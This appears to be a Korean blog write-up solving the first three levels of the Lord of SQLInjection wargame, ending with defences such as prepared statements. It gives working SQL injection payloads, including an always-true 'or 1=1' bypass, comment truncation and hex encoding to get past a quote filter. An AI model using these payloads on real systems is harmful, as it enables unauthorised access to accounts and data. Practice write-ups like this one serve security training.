Lord of SQLInjection
los.rubiya.kr
1. Gremlin
if($result['id']) solve("gremlin"); >>> id 값이 있으면 문제가 풀린다.
id 값이 있기만 하면 되기 때문에 아무 값을 넣고 pw를 ' 로 닫아준 후 SQLI 구문 'or 1=1'로 pw가 무조건 참이도록 만들면 된다. 그리고 %23(#)로 뒷 부분을 모두 주석처리 해주면 해결된다.
?id=123&pw=' or 1=1 %23
Clear!!!
2. Cobolt
if($result['id'] == 'admin') solve("cobolt"); >>> id값이 admin이면 풀리는 문제이다.
첫 번째 방법은 id값에 admin을 넣고 뒷 부분을 모두 주석처리하면 풀린다.
?id=admin'%23
두 번째 방법은 pw값을 md5로 인코딩 하지만 AND조건으로 pw조건을 우회하는 방법이다.
?id=admin'or'1=1
Clear!!!
3. Goblin
if($result['id'] == 'admin') solve("goblin"); >>> id 값이 admin이면 풀린다.
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); >>> preg_match 정규표현식 검사 함수로 인해서 '와 "가 필터링 된다.
그러므로 'admin'을 사용하지 못하기 때문에 Binary 또는 Hex 인코딩으로 admin을 인코딩하여 삽입하면 된다.
no에 1을 넣으면 guest가 나온다. guest가 나오지 않도록 no에 1이 아닌 값을 집어넣는다. 실전에서는 터무니 없는 값을 주면 좋을 것 같다. 그 후 or id = 'admin'을 해주면 풀린다.
admin을 Hex값으로 인코딩하면
0x61646d696e이므로
?no=10 or id=0x61646d696e
Clear!!!
취약점에 대한 해결 방안...
1. 입력값 검증을 더 강력히 한다.
2. prepared statement를 적용한다.
3. 저장 프로시저 사용
사용하고자 하는 Query 에 미리 형식을 지정하는 것을 말한다. 지정된 형식의 데이터가 아니면 Query 가 실행되지 않기 때문에 보안성을 크게 향상시킨다.
'WhoIs 정보보안 교육 > Web Hacking' 카테고리의 다른 글
[webhacking.kr] old-21번 풀이 (0) | 2021.09.19 |
---|---|
REST API의 GET, POST, PUT, DELETE 정리 (0) | 2021.09.11 |
쿠키, 세션, 세션 쿠키, JWT(JSON Web Token)가 무엇인가.(공통점과 차이점) (0) | 2021.09.11 |